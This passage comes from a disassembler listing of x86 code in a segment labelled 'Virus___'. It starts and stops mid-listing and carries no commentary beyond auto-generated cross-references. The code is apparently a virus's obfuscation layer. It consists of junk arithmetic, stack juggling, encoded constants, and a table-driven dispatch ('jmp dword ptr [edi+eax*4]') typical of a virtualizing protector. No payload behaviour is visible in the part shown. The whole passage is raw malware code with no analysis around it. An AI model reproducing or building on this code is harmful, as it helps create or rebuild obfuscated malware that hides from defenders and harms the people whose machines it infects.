		add	esp, 4
		sub	eax, esi
		pop	esi
		add	eax, ebp
		jmp	loc_57ABAC
; ---------------------------------------------------------------------------


loc_578F84:				; CODE XREF: Virus___:00578638j
		dec	edi
		jmp	loc_57C46F
; ---------------------------------------------------------------------------


loc_578F8A:				; CODE XREF: Virus___:0057CEBAj
		mov	eax, 1AB17165h
		jmp	loc_57E905
; ---------------------------------------------------------------------------
		push	ebp
		jmp	loc_57678C
; ---------------------------------------------------------------------------


loc_578F9A:				; CODE XREF: Virus___:005739F2j
		pop	ebp
		push	edx
		push	198Ch
		mov	[esp], ebp
		push	13F45279h
		pop	ebp
		shl	ebp, 2
		jmp	loc_57BB69
; ---------------------------------------------------------------------------


loc_578FB2:				; CODE XREF: Virus___:0057E128j
		push	eax
		push	ecx
		mov	ch, 0E2h
		push	ebx
		mov	bh, 5
		mov	al, bh
		pop	ebx
		sub	al, ch
		pop	ecx
		push	ebx
		mov	bh, al
		mov	cl, bh
		mov	ebx, [esp]
		jmp	loc_57A8A7
; ---------------------------------------------------------------------------


loc_578FCC:				; CODE XREF: Virus___:00572B51j
		add	dword ptr [esp], 350334B0h
		pop	eax
		jmp	loc_57D0CD
; ---------------------------------------------------------------------------


loc_578FD9:				; CODE XREF: Virus___:00576302j
		push	edi
		mov	edi, 0
		sub	edi, edx
		xchg	edi, edx
		pop	edi
		push	eax
		push	edi
		mov	edi, 2076074Ah
		mov	eax, 1AB26C2Fh
		add	eax, edi
		jmp	loc_57586D
; ---------------------------------------------------------------------------


loc_578FF7:				; CODE XREF: Virus___:00573ACDj
		xor	ebx, 6BC0CF4h
		neg	ebx
		not	ebx
		sub	ebx, 0ADD94C79h
		add	edi, ebx
		pop	ebx
		pop	eax
		jmp	loc_577C9C
; ---------------------------------------------------------------------------


loc_579010:				; CODE XREF: Virus___:0057C110j
		and	eax, ebx
		jmp	loc_579798
; ---------------------------------------------------------------------------


loc_579017:				; CODE XREF: Virus___:0057860Dj
		xor	eax, 32524E2Fh
		jmp	loc_5734EA
; ---------------------------------------------------------------------------


loc_579021:				; CODE XREF: Virus___:00573DECj
		xor	ebp, [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_57A663
; ---------------------------------------------------------------------------


loc_579031:				; CODE XREF: Virus___:00574AC7j
		add	ebx, edi
		jmp	loc_5749DD
; ---------------------------------------------------------------------------


loc_579038:				; CODE XREF: Virus___:0057C19Fj
		shr	cl, 2
		shl	cl, 6
		sub	cl, 0F2h
		and	ah, cl
		pop	ecx
		shl	ah, 2
		shl	ah, 7
		sub	ah, 74h
		jmp	loc_5762E8
; ---------------------------------------------------------------------------


loc_579052:				; CODE XREF: Virus___:0057D845j
		mov	ecx, [esp]
		jmp	loc_57AD6A
; ---------------------------------------------------------------------------


loc_57905A:				; CODE XREF: Virus___:005787B7j
		add	esi, edi
		add	esi, 68EB1F3Dh
		pop	edi
		jmp	loc_57BAA6
; ---------------------------------------------------------------------------
		push	ecx
		push	ebp
		push	77A6551Ah
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_574AF9
; ---------------------------------------------------------------------------


loc_579082:				; CODE XREF: Virus___:00575BF1j
		add	esi, 0FFFFFFFFh
		neg	esi
		and	esi, 7B434B85h
		xor	esi, 67094DCAh
		shl	esi, 5
		shr	esi, 8
		push	0DFAh
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		sub	esi, 0FFFFFFFFh
		jmp	loc_574DE4
; ---------------------------------------------------------------------------


loc_5790B0:				; CODE XREF: Virus___:00574C0Fj
		pop	ebx
		add	edi, 2
		push	1FD8h
		jmp	loc_57BA50
; ---------------------------------------------------------------------------


loc_5790BE:				; CODE XREF: Virus___:00572C7Bj
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		jmp	loc_5789EF
; ---------------------------------------------------------------------------


loc_5790D1:				; CODE XREF: Virus___:00576F1Aj
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 57AD4DB6h
		sub	ebp, 54691AF5h
		dec	ebp
		and	ebp, 6356F9Dh
		not	ebp
		shl	ebp, 6
		add	ebp, 92820145h
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5775A2
; ---------------------------------------------------------------------------


loc_57910A:				; CODE XREF: Virus___:00575D0Aj
		add	ebx, 2500D5C2h
		xor	edx, ebx
		pop	ebx
		add	edi, edx
		pop	edx
		jmp	loc_5761AF
; ---------------------------------------------------------------------------


loc_57911B:				; CODE XREF: Virus___:0057A353j
		pop	ebp
		add	edx, 2
		jmp	loc_57BBA0
; ---------------------------------------------------------------------------


loc_579124:				; CODE XREF: Virus___:0057B83Ej
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_579129:				; CODE XREF: Virus___:00579E82j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_57A1ED
; ---------------------------------------------------------------------------


loc_579137:				; CODE XREF: Virus___:0057B98Fj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57913C:				; CODE XREF: Virus___:00576E70j
		xor	eax, esi
		jmp	loc_579684
; ---------------------------------------------------------------------------


loc_579143:				; CODE XREF: Virus___:00574EA3j
		shl	ebx, 2
		or	ebx, 4BB463E2h
		jmp	loc_57DB4D
; ---------------------------------------------------------------------------


loc_579151:				; CODE XREF: Virus___:005799A7j
		sub	ecx, 0DBFEF2ECh
		jmp	loc_57A70C
; ---------------------------------------------------------------------------


loc_57915C:				; CODE XREF: Virus___:00577862j
		pop	ecx
		inc	esi
		sub	esi, 3DD804F2h
		mov	ebx, esi
		jmp	loc_573CB3
; ---------------------------------------------------------------------------


loc_57916B:				; CODE XREF: Virus___:0057D124j
		sub	edi, 456864DAh
		jmp	loc_57A45D
; ---------------------------------------------------------------------------


loc_579176:				; CODE XREF: Virus___:0057EEDAj
		mov	[esp], ebx
		mov	bh, 6Dh
		add	al, 0B6h
		push	edx
		jmp	loc_57D62A
; ---------------------------------------------------------------------------


loc_579183:				; CODE XREF: Virus___:005784E0j
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		xor	ebx, eax
		mov	dx, [esp]
		push	4E00h
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		mov	ecx, 77885BCAh
		xor	ecx, 77885BCEh
		jmp	loc_574F66
; ---------------------------------------------------------------------------


loc_5791B7:				; CODE XREF: Virus___:0057676Dj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		shr	ecx, 0
		or	eax, eax
		jz	loc_576B6D
		push	ebx
		push	1AD0h
		mov	[esp], ebp
		push	edi
		jmp	loc_57F014
; ---------------------------------------------------------------------------


loc_5791E5:				; CODE XREF: Virus___:005750C6j
		add	ebp, 8054613Ah
		xor	esi, ebp
		pop	ebp
		mov	ebx, esi
		pop	esi
		sub	ebx, 5A4F7677h
		jmp	loc_57EC8C
; ---------------------------------------------------------------------------


loc_5791FC:				; CODE XREF: Virus___:0057777Fj
		mov	edi, esp
		add	edi, 4
		jmp	loc_5761C8
; ---------------------------------------------------------------------------


loc_579209:				; CODE XREF: Virus___:00575245j
		and	esi, edi
		jmp	loc_574828
; ---------------------------------------------------------------------------


loc_579210:				; CODE XREF: Virus___:0057E39Dj
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_574F8F
; ---------------------------------------------------------------------------


loc_57921F:				; CODE XREF: Virus___:00574DDFj
		xchg	ebp, [esp]
		jmp	loc_574AE2
; ---------------------------------------------------------------------------


loc_579227:				; CODE XREF: Virus___:00579B78j
		sub	esi, eax
		pop	eax
		add	esi, edx
		add	esi, 43C576FDh
		jmp	loc_57B9AC
; ---------------------------------------------------------------------------


loc_579237:				; CODE XREF: Virus___:0057824Ej
		push	ecx
		mov	ch, 0E4h
		jmp	loc_575E0E
; ---------------------------------------------------------------------------


loc_57923F:				; CODE XREF: Virus___:00573B7Aj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57D419
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	780Ch
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_57A0DB
; ---------------------------------------------------------------------------


loc_579273:				; CODE XREF: Virus___:0057BFE3j
		mov	ecx, 2327583Ch
		add	ecx, 0D75ECB10h
		add	edx, ecx
		jmp	loc_574E49
; ---------------------------------------------------------------------------


loc_579285:				; CODE XREF: Virus___:00578538j
		pop	ebp
		jmp	loc_57DB5F
; ---------------------------------------------------------------------------


loc_57928B:				; CODE XREF: Virus___:00574C7Fj
		mov	[esp], edx
		mov	edx, 6132055Ah
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebx, 6B667F69h
		jmp	loc_57D028
; ---------------------------------------------------------------------------


loc_5792A9:				; CODE XREF: Virus___:00573B5Aj
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_57CD9A
; ---------------------------------------------------------------------------


loc_5792B2:				; CODE XREF: Virus___:005748E5j
		xor	ecx, edi
		xor	edi, ecx
		not	ecx
		push	edi
		push	4426h
		mov	[esp], ecx
		pop	edi
		pop	ecx
		push	699Dh
		mov	[esp], eax
		push	edi
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57A372
; ---------------------------------------------------------------------------


loc_5792DD:				; CODE XREF: Virus___:00579303j
		sub	dh, 0C6h
		mov	bh, dh
		jmp	loc_572CDE
; ---------------------------------------------------------------------------


loc_5792E7:				; CODE XREF: Virus___:005788EBj
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_57CBF8
; ---------------------------------------------------------------------------


loc_579300:				; CODE XREF: Virus___:00578328j
		or	dh, 63h
		jmp	loc_5792DD
; ---------------------------------------------------------------------------


loc_579308:				; CODE XREF: Virus___:0057C3CAj
		inc	ebp
		jmp	loc_57AEA7
; ---------------------------------------------------------------------------


loc_57930E:				; CODE XREF: Virus___:0057C66Dj
		mov	[esp], edx
		sub	esp, 2
		mov	[esp], ax
		mov	ah, 11h
		jmp	loc_57A615
; ---------------------------------------------------------------------------


loc_57931F:				; CODE XREF: Virus___:005782E5j
		dec	ecx
		jmp	loc_57C690
; ---------------------------------------------------------------------------


loc_579325:				; CODE XREF: Virus___:0057E213j
		push	ebp
		push	ebx
		mov	ebx, 54BB464Fh
		mov	ebp, ebx
		jmp	loc_579785
; ---------------------------------------------------------------------------


loc_579333:				; CODE XREF: Virus___:00576E1Dj
		sub	ebx, 0A6AD54ADh
		mov	edx, ebx
		pop	ebx
		jmp	loc_57E648
; ---------------------------------------------------------------------------


loc_579341:				; CODE XREF: Virus___:0057A458j
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_57EC1C
; ---------------------------------------------------------------------------


loc_579354:				; CODE XREF: Virus___:0057750Fj
		sub	eax, ebp
		pop	ebp
		sub	eax, 2AE01C3h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_574779
; ---------------------------------------------------------------------------


loc_57936A:				; CODE XREF: Virus___:005737CFj
		xor	bh, cl
		pop	ecx
		or	bh, 85h
		inc	bh
		xchg	al, bh
		not	al
		inc	al
		push	ecx
		mov	ch, al
		push	6E82h
		mov	[esp], ecx
		mov	ch, bh
		mov	al, ch
		pop	ecx
		jmp	loc_57670C
; ---------------------------------------------------------------------------


loc_57938D:				; CODE XREF: Virus___:0057940Bj
		pop	ebx
		pop	ecx
		add	eax, ebp
		jmp	loc_57EDF2
; ---------------------------------------------------------------------------


loc_579396:				; CODE XREF: Virus___:0057ED7Fj
		dec	cl
		or	cl, 25h
		and	cl, 37h
		xor	cl, 26h
		sub	cl, 77h
		jmp	loc_579E1A
; ---------------------------------------------------------------------------


loc_5793A9:				; CODE XREF: Virus___:005789E4j
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_573CB9
; ---------------------------------------------------------------------------


loc_5793B9:				; CODE XREF: Virus___:0057D4E0j
		pop	dword ptr [esp]
		pop	esp
		div	cl
		movzx	cx, ah
		push	small 2481h
		jmp	loc_57E7D3
; ---------------------------------------------------------------------------


loc_5793CC:				; CODE XREF: Virus___:00572CBFj
		xor	esi, edi
		pop	edi
		xor	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_572F8D
; ---------------------------------------------------------------------------


loc_5793E0:				; CODE XREF: Virus___:0057966Bj
		pop	ecx
		mov	bh, 97h
		sub	bh, dh
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, bh
		jmp	loc_5795E8
; ---------------------------------------------------------------------------


loc_5793F6:				; CODE XREF: Virus___:0057E9A1j
		xchg	ecx, [esp]
		jmp	loc_57EAE9
; ---------------------------------------------------------------------------


loc_5793FE:				; CODE XREF: Virus___:0057863Fj
		pop	eax
		jmp	loc_57626B
; ---------------------------------------------------------------------------


loc_579404:				; CODE XREF: Virus___:00575076j
		mov	[esp], ebx
		mov	ebx, ecx
		mov	ebp, ebx
		jmp	loc_57938D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		pop	edi
		push	4613h
		mov	[esp], esi
		push	ebp
		mov	ebp, 4
		mov	esi, ebp
		pop	ebp
		add	edi, 15050525h
		add	edi, esi
		sub	edi, 15050525h
		mov	esi, [esp]
		add	esp, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_578D8B
; ---------------------------------------------------------------------------


loc_57944C:				; CODE XREF: Virus___:00575511j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 535A7AFBh
		jmp	loc_57D633
; ---------------------------------------------------------------------------


loc_57945A:				; CODE XREF: Virus___:005763A2j
		xor	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57820C
; ---------------------------------------------------------------------------


loc_579469:				; CODE XREF: Virus___:00573170j
		mov	eax, 4E9B7776h
		mov	edx, 137DCD33h
		add	edx, eax
		pop	eax
		inc	edx
		not	edx
		sub	edx, 36107DD8h
		dec	edx
		sub	edx, 9A6D62Bh
		and	ecx, edx
		pop	edx
		inc	ecx
		xor	ecx, 44054245h
		sub	ebx, ecx
		jmp	loc_57EC7E
; ---------------------------------------------------------------------------


loc_579497:				; CODE XREF: Virus___:0057348Aj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_57CCD9
; ---------------------------------------------------------------------------


loc_5794A8:				; CODE XREF: Virus___:00576E24j
		add	esi, 4
		jmp	loc_576BB3
; ---------------------------------------------------------------------------


loc_5794B3:				; CODE XREF: Virus___:00579B4Bj
		pop	esp
		jmp	loc_57510C
; ---------------------------------------------------------------------------


loc_5794B9:				; CODE XREF: Virus___:00578804j
		add	edi, eax
		jmp	loc_57D292
; ---------------------------------------------------------------------------


loc_5794C0:				; CODE XREF: Virus___:0057967Fj
		push	670Bh
		mov	[esp], ebx
		jmp	loc_576E16
; ---------------------------------------------------------------------------


loc_5794CD:				; CODE XREF: Virus___:00577A33j
		mov	edx, 13081FAAh
		add	ebx, edx
		pop	edx
		sub	ebx, 596555CAh
		push	eax
		mov	eax, 59AB50BAh
		shr	eax, 5
		push	edx
		mov	edx, 0D0731D7h
		sub	edx, 0C9F6C33Ch
		or	eax, edx
		jmp	loc_5774E3
; ---------------------------------------------------------------------------


loc_5794F7:				; CODE XREF: Virus___:0057A92Cj
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_579507:				; CODE XREF: Virus___:005749C8j
		mov	edi, 2
		jmp	loc_574317
; ---------------------------------------------------------------------------


loc_579511:				; CODE XREF: Virus___:00572D27j
		add	esp, 4
		jmp	loc_57C74C
; ---------------------------------------------------------------------------


loc_57951C:				; CODE XREF: Virus___:0057C2BBj
		push	ebp
		jmp	loc_57DA6F
; ---------------------------------------------------------------------------


loc_579522:				; CODE XREF: Virus___:0057E573j
		mov	eax, [esp]
		jmp	loc_573223
; ---------------------------------------------------------------------------


loc_57952A:				; CODE XREF: Virus___:00572BF2j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	138Ah
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_579AC3
; ---------------------------------------------------------------------------


loc_57956A:				; CODE XREF: Virus___:0057D2BCj
		pop	edi
		push	esi
		mov	esi, 21D51ED5h
		and	esi, 262D43D7h
		inc	esi
		xor	esi, 2CF2DCDBh
		add	ebp, 72B76570h
		sub	ebp, esi
		sub	ebp, 72B76570h
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		shr	ebp, 3
		push	ebx
		mov	ebx, 39580A8Bh
		or	ebp, ebx
		jmp	loc_573CC5
; ---------------------------------------------------------------------------


loc_5795B5:				; CODE XREF: Virus___:005799F7j
		mov	[esp], ebx
		jmp	loc_579E4E
; ---------------------------------------------------------------------------


loc_5795BD:				; CODE XREF: Virus___:0057B578j
		or	eax, 631973DDh
		add	eax, 6FF61F33h
		not	eax
		add	eax, 0DBB61F33h
		mov	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_576F42
; ---------------------------------------------------------------------------


loc_5795DF:				; CODE XREF: Virus___:00578BE7j
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5795E8:				; CODE XREF: Virus___:005793F1j
		push	ebx
		jmp	loc_57846D
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_57C030
; ---------------------------------------------------------------------------


loc_5795F6:				; CODE XREF: Virus___:0057E31Ej
		mov	edx, [esp]
		jmp	loc_57C976
; ---------------------------------------------------------------------------


loc_5795FE:				; CODE XREF: Virus___:0057554Bj
		add	ch, bl
		jmp	loc_578300
; ---------------------------------------------------------------------------


loc_579605:				; CODE XREF: Virus___:0057D442j
		sub	esp, 4
		jmp	loc_57D7C9
; ---------------------------------------------------------------------------


loc_579610:				; CODE XREF: Virus___:0057B0CCj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	dword ptr [esp+4], 60A402B4h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 60A402B4h
		pop	eax
		pop	eax
		jmp	loc_57B5C9
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_57D020
; ---------------------------------------------------------------------------


loc_57964B:				; CODE XREF: Virus___:0057B547j
		add	ch, 80h
		add	dl, ch
		pop	ecx
		add	al, dl
		pop	edx
		add	al, 96h
		push	ecx
		mov	cl, 0D9h
		add	al, cl
		pop	ecx
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		push	ecx
		mov	cl, 90h
		mov	dh, 88h
		add	dh, cl
		jmp	loc_5793E0
; ---------------------------------------------------------------------------


loc_579670:				; CODE XREF: Virus___:005735A2j
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5747EC
; ---------------------------------------------------------------------------


loc_57967B:				; CODE XREF: Virus___:0057D0AEj
		pop	esp
		push	dword ptr [edi+eax*4]
		jmp	loc_5794C0
; ---------------------------------------------------------------------------


loc_579684:				; CODE XREF: Virus___:0057913Ej
		mov	esi, [esp]
		jmp	loc_57BB7C
; ---------------------------------------------------------------------------


loc_57968C:				; CODE XREF: Virus___:00577422j
		xor	ecx, esi
		jmp	loc_575C99
; ---------------------------------------------------------------------------
		lodsb
		push	0A79h
		mov	[esp], edx
		mov	dh, 7Ch
		jmp	loc_57AA5A
; ---------------------------------------------------------------------------


loc_5796A3:				; CODE XREF: Virus___:00576675j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_57BCDF
; ---------------------------------------------------------------------------


loc_5796B2:				; CODE XREF: Virus___:0057DB7Dj
		mov	ebx, 3BEF16F4h
		jmp	loc_57D13F
; ---------------------------------------------------------------------------


loc_5796BC:				; CODE XREF: Virus___:0057D2FFj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	edi
		push	ebx
		jmp	loc_575385
; ---------------------------------------------------------------------------


loc_5796D7:				; CODE XREF: Virus___:0057DFD7j
		mov	eax, esp
		sub	esp, 4
		jmp	loc_578EF0
; ---------------------------------------------------------------------------


loc_5796E1:				; CODE XREF: Virus___:00579903j
		sub	ebx, 7E393A82h
		sub	ebx, 72C923EDh
		sub	ebx, eax
		jmp	loc_576496
; ---------------------------------------------------------------------------


loc_5796F4:				; CODE XREF: Virus___:00575477j
		add	esi, 4
		jmp	loc_57BCF9
; ---------------------------------------------------------------------------


loc_5796FF:				; CODE XREF: Virus___:0057C1D2j
		push	2E78h
		jmp	loc_575955
; ---------------------------------------------------------------------------


loc_579709:				; CODE XREF: Virus___:0057E67Bj
		push	1B7Ah
		mov	[esp], edx
		pop	eax
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		push	7A22h
		mov	[esp], ebp
		push	353Bh
		mov	[esp], esi
		push	edi
		push	0DDF3D44h
		pop	edi
		sub	edi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 0ED550D17h
		add	edi, 4DD50DC0h
		sub	edi, ebp
		sub	edi, 4DD50DC0h
		pop	ebp
		push	edx
		mov	edx, edi
		mov	esi, edx
		jmp	loc_57D3C4
; ---------------------------------------------------------------------------


loc_579752:				; CODE XREF: Virus___:0057DF09j
		xor	ebx, [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_572E50
; ---------------------------------------------------------------------------


loc_579768:				; CODE XREF: Virus___:00573C88j
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		dec	ecx
		push	esi
		mov	esi, 2C9A50E0h
		jmp	loc_573D4A
; ---------------------------------------------------------------------------


loc_57977C:				; CODE XREF: Virus___:00575C94j
		sub	al, 0EFh
		and	dl, al
		jmp	loc_5742DD
; ---------------------------------------------------------------------------


loc_579785:				; CODE XREF: Virus___:0057932Ej
		pop	ebx
		jmp	loc_578B20
; ---------------------------------------------------------------------------


loc_57978B:				; CODE XREF: Virus___:0057CB80j
		add	esi, edx
		add	esi, 2FD9682Bh
		jmp	loc_5779A4
; ---------------------------------------------------------------------------


loc_579798:				; CODE XREF: Virus___:00579012j
		mov	ebx, [esp]
		push	5822h
		mov	[esp], edx
		jmp	loc_57D427
; ---------------------------------------------------------------------------


loc_5797A8:				; CODE XREF: Virus___:00579E15j
		push	eax
		mov	ah, 6Ch
		neg	ah
		or	ah, 21h
		shr	ah, 7
		jmp	loc_5784C5
; ---------------------------------------------------------------------------


loc_5797B8:				; CODE XREF: Virus___:0057E382j
		mov	ebp, esp
		add	ebp, 4
		push	edx
		jmp	loc_57760D
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_5797CD:				; CODE XREF: Virus___:00576C78j
		mov	[esp], ebx
		mov	ebx, 22204D3Fh
		sub	eax, 55B016C8h
		sub	eax, ebx
		jmp	loc_57B76F
; ---------------------------------------------------------------------------


loc_5797E1:				; CODE XREF: Virus___:00576014j
		not	esi
		shr	esi, 3
		jmp	loc_572A09
; ---------------------------------------------------------------------------


loc_5797EB:				; CODE XREF: Virus___:005767EEj
		pop	edi
		xor	edi, 51971028h
		neg	edi
		dec	edi
		push	ecx
		mov	ecx, 6F4BB25Dh
		add	edi, ecx
		pop	ecx
		mov	esi, edi
		pop	edi
		sub	edx, esi
		pop	esi
		add	ecx, edx
		pop	edx
		jmp	loc_57A67B
; ---------------------------------------------------------------------------


loc_57980C:				; CODE XREF: Virus___:00577227j
		sub	edx, 4
		jmp	loc_577183
; ---------------------------------------------------------------------------


loc_579817:				; CODE XREF: Virus___:005743DAj
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		add	esi, 4
		push	4F8Bh
		jmp	loc_57A246
; ---------------------------------------------------------------------------


loc_579830:				; CODE XREF: Virus___:005770F0j
		pop	esp
		jmp	loc_57401E
; ---------------------------------------------------------------------------


loc_579836:				; CODE XREF: Virus___:0057D8CAj
		add	ebx, 38E86E20h
		sub	ebx, 1FC2434Eh
		add	ebx, eax
		add	ebx, 1FC2434Eh
		sub	ebx, 38E86E20h
		add	ebx, 43E04619h
		mov	[ebx], dl
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_579866:				; CODE XREF: Virus___:0057EB5Fj
		pop	eax
		or	edi, edx
		pop	edx
		jmp	loc_57509C
; ---------------------------------------------------------------------------


loc_57986F:				; CODE XREF: Virus___:00579FC7j
		push	esp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_57E831
; ---------------------------------------------------------------------------


loc_579879:				; CODE XREF: Virus___:0057B931j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_579F02
; ---------------------------------------------------------------------------


loc_57988E:				; CODE XREF: Virus___:0057D9E5j
		mov	ebx, 73A84B03h
		dec	ebx
		add	ebx, 4EA60579h
		jmp	loc_573359
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 1A9D6800h, 3C890000h, 2BF24h, 9DE90000h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5798B7:				; CODE XREF: Virus___:0057645Aj
		mov	edx, [esp]
		add	esp, 4
		add	bl, al
		jmp	loc_57BAB7
; ---------------------------------------------------------------------------


loc_5798C7:				; CODE XREF: Virus___:00578984j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp


loc_5798D1:				; CODE XREF: Virus___:0057C9E8j
		push	68A7h
		jmp	loc_57851F
; ---------------------------------------------------------------------------


loc_5798DB:				; CODE XREF: Virus___:00579D21j
		push	ebp
		mov	ebp, esp
		jmp	loc_57E1CF
; ---------------------------------------------------------------------------


loc_5798E3:				; CODE XREF: Virus___:00578665j
		push	edx
		mov	edx, esp
		jmp	loc_57D5A9
; ---------------------------------------------------------------------------


loc_5798EB:				; CODE XREF: Virus___:0057A694j
		add	eax, 776820F6h
		sub	eax, 1
		shr	eax, 4
		add	eax, 182F2C18h
		sub	eax, 0A95BD575h
		sub	ebx, eax
		pop	eax
		jmp	loc_5796E1
; ---------------------------------------------------------------------------


loc_579908:				; CODE XREF: Virus___:0057335Aj
		push	ebx
		push	62B00657h
		pop	ebx
		or	ebx, 1F884609h
		sub	ebx, 4135FE4Fh
		mov	ecx, ebx
		pop	ebx
		jmp	loc_57E77C
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_579EC9
		push	edx
		push	edi
		mov	edi, 3BAB5418h
		mov	edx, edi
		pop	edi
		shl	edx, 2
		not	edx
		add	edx, 7FD942D3h
		sub	edx, 8967D561h
		sub	esi, edx
		pop	edx
		push	617Eh
		mov	[esp], ecx
		mov	ecx, 50CE39D4h
		or	ecx, 279E499Ah
		dec	ecx
		push	eax
		mov	eax, 37B653A1h
		or	eax, 46761108h
		xor	eax, 0C72435Eh
		or	ecx, eax
		pop	eax
		and	ecx, 4A30071h
		push	ebp
		jmp	loc_57AA6D
; ---------------------------------------------------------------------------


loc_57997F:				; CODE XREF: Virus___:0057A71Cj
		mov	dx, [esp]
		push	edi
		jmp	loc_572A1A
; ---------------------------------------------------------------------------


loc_579989:				; CODE XREF: Virus___:0057DBAEj
		mov	ecx, 2Ch
		jmp	loc_572EBE
; ---------------------------------------------------------------------------


loc_579993:				; CODE XREF: Virus___:0057CBB5j
		pop	ebp
		xor	ebx, eax
		push	eax
		jmp	loc_576621
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_57BFF0
; ---------------------------------------------------------------------------


loc_5799A4:				; CODE XREF: Virus___:00573D5Cj
		pop	esi
		neg	ecx
		jmp	loc_579151
; ---------------------------------------------------------------------------


loc_5799AC:				; CODE XREF: Virus___:0057AE97j
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		push	ecx
		jmp	loc_577EAE
; ---------------------------------------------------------------------------


loc_5799BA:				; CODE XREF: Virus___:005799EAj
		add	ecx, ebp
		sub	ecx, 5AEB731Eh
		pop	ebp
		jmp	loc_57380D
; ---------------------------------------------------------------------------


loc_5799C8:				; CODE XREF: Virus___:00576266j
		push	edi
		push	esp
		pop	edi
		jmp	loc_57C9A6
; ---------------------------------------------------------------------------


loc_5799D0:				; CODE XREF: Virus___:00577F5Fj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 77B34F0h
		xor	ebp, 77B34F2h
		add	ecx, 5AEB731Eh
		jmp	loc_5799BA
; ---------------------------------------------------------------------------


loc_5799EF:				; CODE XREF: Virus___:0057A3B1j
		or	ch, 3Eh
